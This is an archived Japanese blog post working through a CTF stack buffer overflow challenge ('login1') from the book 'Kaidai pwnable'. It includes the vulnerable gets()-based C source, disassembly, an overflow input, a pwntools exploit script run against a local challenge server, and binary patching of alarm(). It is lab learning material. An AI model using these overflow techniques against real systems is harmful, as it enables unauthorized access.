以下の内容はhttps://daisuke20240310.hatenablog.com/entry/kaidai_2より取得しました。


書籍「解題pwnable」の第2章「login1(スタックバッファオーバーフロー1)」を読んだ

前回 から、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。

今回は、第2章の「login1(スタックバッファオーバーフロー1)」を読んでいきたいと思います。

それでは、やっていきます。

参考文献

今回、題材にさせて頂いた「解題pwnable」です。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ
・第55回:システムにインストールされたものと異なるバージョンのglibcを使う方法
・第56回:書籍「詳解セキュリティコンテスト」Pwnableのヒープベースエクスプロイトを読んだ
・第57回:書籍「解題pwnable」の第1章「準備」を読んだ
・第58回:書籍「解題pwnable」の第2章「login1(スタックバッファオーバーフロー1)」を読んだ ← 今回

以下は、の公式サイトです。特に追加の情報はありませんでした。

nextpublishing.jp

また、以下は、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」の公式の Docker Hub です。書籍では、tag として、3 を使っていますが、4 がアップされています。とりあえず、3 を使ってやっていきます。

https://hub.docker.com/r/kusanok/ctfpwn

では、書籍の章を参考に書き進めていきます。

第2章:login1(スタックバッファオーバーフロー1)

2.1:問題の概要

ソースコード(login1.c)と、プログラムバイナリ(login1)が提供されています。

前回、紹介した、docker を起動しておき、ブラウザにアクセスします。下図のように、それぞれのリンクをクリックすることで、ダウンロードすることが出来ます。

login1
login1

実践

まずは、自力でやっていきます。

表層解析します。あ、実行権限がないので付与しておきます。また、最初から、glibc-2.31 に依存ライブラリを変更しておきます(方法、経緯などは、システムにインストールされたものと異なるバージョンのglibcを使う方法 を参考にしてください)。

$ chmod +x login1

$ cp ./login1 ./login1_patch

$ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./login1_patch 

$ ldd ./login1_patch 
    linux-vdso.so.1 (0x00007ffec29b2000)
    libc.so.6 => /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc.so.6 (0x00007f17d423e000)
    /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007f17d4432000)

$ file login1_patch 
login1_patch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=5c2c2e406f7a39e4a6d6b95d5a1f3f020d5a40c2, not stripped

$ ~/bin/checksec --file=login1_patch
RELRO          STACK CANARY     NX           PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX disabled  No PIE  No RPATH  RW-RUNPATH  75 Symbols  No       0          2            login1_patch

$ pwn checksec --file=login1_patch
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter2/login1_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No

実行してみます。

問題サーバーにアクセスすると、flag.txt が用意されていると思いますが、ローカルで試すときには、自分で、flag.txt を準備する必要がありそうです。

問題文にあるように、ログインできるようにすればいいようです。

$ ./login1_patch 
Failed to read flag.txt

$ nano flag.txt

$ cat flag.txt 
flagflag

$ ./login1_patch 
ID: aaa
Password: bbb
Invalid ID or password

ソースコード(login1.c)を見ていきます。

setup関数は、環境準備のためのようです。main関数を見ると、ID は admin であることが分かります。Password は、flag.txt の中身自体のようです。

ok というローカル変数が 0 で初期化されていますが、1(非0)に書き換えることが出来れば、フラグが読み出せそうです。

//  gcc login1.c -o login1 -fno-stack-protector -no-pie -fcf-protection=none
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char flag[0x20];

char *gets(char *s);

void setup()
{
    FILE *f = NULL;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    f = fopen("flag.txt", "rt");
    if (f == NULL) {
        printf("Failed to read flag.txt\n");
        exit(0);
    }
    fscanf(f, "%s", flag);
    fclose(f);
}

int main()
{
    char id[0x20] = "";
    char password[0x20] = "";
    int ok = 0;

    setup();

    printf("ID: ");
    gets(id);
    printf("Password: ");
    gets(password);

    if (strcmp(id, "admin") == 0 &&
        strcmp(password, flag) == 0)
        ok = 1;

    if (ok) {
        printf("Login Succeeded\n");
        printf("The flag is: %s\n", flag);
    } else
        printf("Invalid ID or password\n");
}

GDB で起動して、スタックの状況を確認します。

$ gdb -q login1_patch
Reading symbols from login1_patch...

pwndbg> start
Temporary breakpoint 1 at 0x401290

pwndbg> disassemble
Dump of assembler code for function main:
   0x000000000040128c <+0>:     push   rbp
   0x000000000040128d <+1>:     mov    rbp,rsp
=> 0x0000000000401290 <+4>:     sub    rsp,0x50
   0x0000000000401294 <+8>:     mov    QWORD PTR [rbp-0x30],0x0
   0x000000000040129c <+16>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004012a4 <+24>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004012ac <+32>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004012b4 <+40>:    mov    QWORD PTR [rbp-0x50],0x0
   0x00000000004012bc <+48>:    mov    QWORD PTR [rbp-0x48],0x0
   0x00000000004012c4 <+56>:    mov    QWORD PTR [rbp-0x40],0x0
   0x00000000004012cc <+64>:    mov    QWORD PTR [rbp-0x38],0x0
   0x00000000004012d4 <+72>:    mov    DWORD PTR [rbp-0x4],0x0
   0x00000000004012db <+79>:    mov    eax,0x0
   0x00000000004012e0 <+84>:    call   0x4011b6 <setup>
   0x00000000004012e5 <+89>:    lea    rdi,[rip+0xd3f]        # 0x40202b
   0x00000000004012ec <+96>:    mov    eax,0x0
   0x00000000004012f1 <+101>:   call   0x401060 <printf@plt>
   0x00000000004012f6 <+106>:   lea    rax,[rbp-0x30]
   0x00000000004012fa <+110>:   mov    rdi,rax
   0x00000000004012fd <+113>:   call   0x401090 <gets@plt>
   0x0000000000401302 <+118>:   lea    rdi,[rip+0xd27]        # 0x402030
   0x0000000000401309 <+125>:   mov    eax,0x0
   0x000000000040130e <+130>:   call   0x401060 <printf@plt>
   0x0000000000401313 <+135>:   lea    rax,[rbp-0x50]
   0x0000000000401317 <+139>:   mov    rdi,rax
   0x000000000040131a <+142>:   call   0x401090 <gets@plt>
   0x000000000040131f <+147>:   lea    rax,[rbp-0x30]
   0x0000000000401323 <+151>:   lea    rsi,[rip+0xd11]        # 0x40203b
   0x000000000040132a <+158>:   mov    rdi,rax
   0x000000000040132d <+161>:   call   0x401080 <strcmp@plt>
   0x0000000000401332 <+166>:   test   eax,eax
   0x0000000000401334 <+168>:   jne    0x401354 <main+200>
   0x0000000000401336 <+170>:   lea    rax,[rbp-0x50]
   0x000000000040133a <+174>:   lea    rsi,[rip+0x2d7f]        # 0x4040c0 <flag>
   0x0000000000401341 <+181>:   mov    rdi,rax
   0x0000000000401344 <+184>:   call   0x401080 <strcmp@plt>
   0x0000000000401349 <+189>:   test   eax,eax
   0x000000000040134b <+191>:   jne    0x401354 <main+200>
   0x000000000040134d <+193>:   mov    DWORD PTR [rbp-0x4],0x1
   0x0000000000401354 <+200>:   cmp    DWORD PTR [rbp-0x4],0x0
   0x0000000000401358 <+204>:   je     0x401380 <main+244>
   0x000000000040135a <+206>:   lea    rdi,[rip+0xce0]        # 0x402041
   0x0000000000401361 <+213>:   call   0x401040 <puts@plt>
   0x0000000000401366 <+218>:   lea    rsi,[rip+0x2d53]        # 0x4040c0 <flag>
   0x000000000040136d <+225>:   lea    rdi,[rip+0xcdd]        # 0x402051
   0x0000000000401374 <+232>:   mov    eax,0x0
   0x0000000000401379 <+237>:   call   0x401060 <printf@plt>
   0x000000000040137e <+242>:   jmp    0x40138c <main+256>
   0x0000000000401380 <+244>:   lea    rdi,[rip+0xcdb]        # 0x402062
   0x0000000000401387 <+251>:   call   0x401040 <puts@plt>
   0x000000000040138c <+256>:   mov    eax,0x0
   0x0000000000401391 <+261>:   leave
   0x0000000000401392 <+262>:   ret
End of assembler dump.

スタックを可視化します。

アドレス サイズ 内容
rbp - 0x50 32 password[32]
rbp - 0x30 32 id[32]
rbp - 0x10 12 未使用
rbp - 0x4 4 ok
rbp

なるほど、ID を入力するときに、32byte ではなく、48byte を書き込み、ok の領域を、非0 にすれば良さそうです。

$ python -c 'print("a" * 48, end="")' | ./login1_patch
ID: Password: Login Succeeded
The flag is: flagflag

フラグが表示されました。

問題サーバー向けにスクリプトを実装しました。

#!/usr/bin/env python3
from pwn import *

bin_file = './login1_patch'
context(os = 'linux', arch = 'amd64')
context(terminal = ['tmux', 'splitw', '-h'])
context.log_level = 'debug'

binf = ELF( bin_file )

def attack( proc, **kwargs ):
    
    id       = "a" * 47 #48
    password = "b" * 31 #32
    
    proc.sendlineafter( 'ID: ', id.encode() )
    proc.sendlineafter( 'Password: ', password.encode() )
    
    info( proc.recvall() )

def main():
    
    adrs = "localhost"
    port = 10001
    
    #proc = gdb.debug( bin_file )
    #proc = process( bin_file )
    proc = remote( adrs, port )
    
    attack( proc )
    #proc.interactive()

if __name__ == '__main__':
    main()

実行してみます。

無事に、フラグが表示されました。

$ python exploit_login1.py
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter2/login1_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No
[+] Opening connection to localhost on port 10001: Done
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x4 bytes:
    b'ID: '
[DEBUG] Sent 0x30 bytes:
    b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Received 0xa bytes:
    b'Password: '
[DEBUG] Sent 0x20 bytes:
    b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n'
[+] Receiving all data: Done (52B)
[DEBUG] Received 0x34 bytes:
    b'Login Succeeded\n'
    b'The flag is: FLAG{58fd7d9bMJNTjnv5}\n'
[*] Closed connection to localhost port 10001
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] Login Succeeded
    The flag is: FLAG{58fd7d9bMJNTjnv5}

login1 Submit
login1 Submit

2.2:alarm、setvbuf

setup関数の alarm関数と、setvbuf について説明されています。

alarm(60) は、60秒経過すると、プログラムが終了する仕組みです。以下で試しました。

$ ./login1_patch 
ID: Alarm clock

エクスプロイトコードのデバッグなどで、この仕組みが邪魔な場合は、バイナリエディタで該当のコードを書き換えて、alarm関数を無効にする方法が紹介されています。

該当箇所を objdump で表示します。3c 00 00 00 を大きな値(ff ff ff ff など)にする方法と、e8 a0 fe ff ff を NOP で埋める(90 90 90 90 90)方法の 2つが紹介されています。

$ objdump -M intel -d login1_patch | less
  4011c6:       bf 3c 00 00 00          mov    edi,0x3c
  4011cb:       e8 a0 fe ff ff          call   401070 <alarm@plt>

ここでは、NOP で埋める方法をやってみます。バイナリエディタで開き、検索して、該当箇所を探します。

$ cp login1_patch login1_patch_nop

バイナリエディタ(変更前)
バイナリエディタ(変更前)

変更後です。

バイナリエディタ(変更後)
バイナリエディタ(変更後)

実行してみます。

60秒経過しても、終了しなくなりました。

$ ./login1_patch_nop
ID: 

また、setvbuf関数については、バッファサイズを 0 にして、標準出力などがバッファリングされなくなる対策と説明されています。

2.3:スタック

スタックに関する基本的な説明がされています。割愛します。

2.4:攻略

問題に対するアプローチと解説が書かれています。割愛します。

2.5:タイミング攻撃

この問題には、厳密に言うと、もう 1つの脆弱性があると書かれています。

strcmp関数は、不一致の文字を検出した時点で終了するため、Password の文字を総当たりで試して、処理時間の長い場合に、その文字は正解だったと判定を繰り返すことで、Password を求める方法です。

著者が試されていて、localhost で実施した場合でも、処理時間について、有意な差はなかったと言われています。ネットワーク越しだと、さらに難しくなるため、現実的ではないということでした。

以上で、第2章「login1(スタックバッファオーバーフロー1)」は終了です。

おわりに

引き続き、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。今回は、第2章「login1(スタックバッファオーバーフロー1)」をやりました。

次回は、第3章「login2(スタックバッファオーバーフロー2)」を進める予定です。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/kaidai_2より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14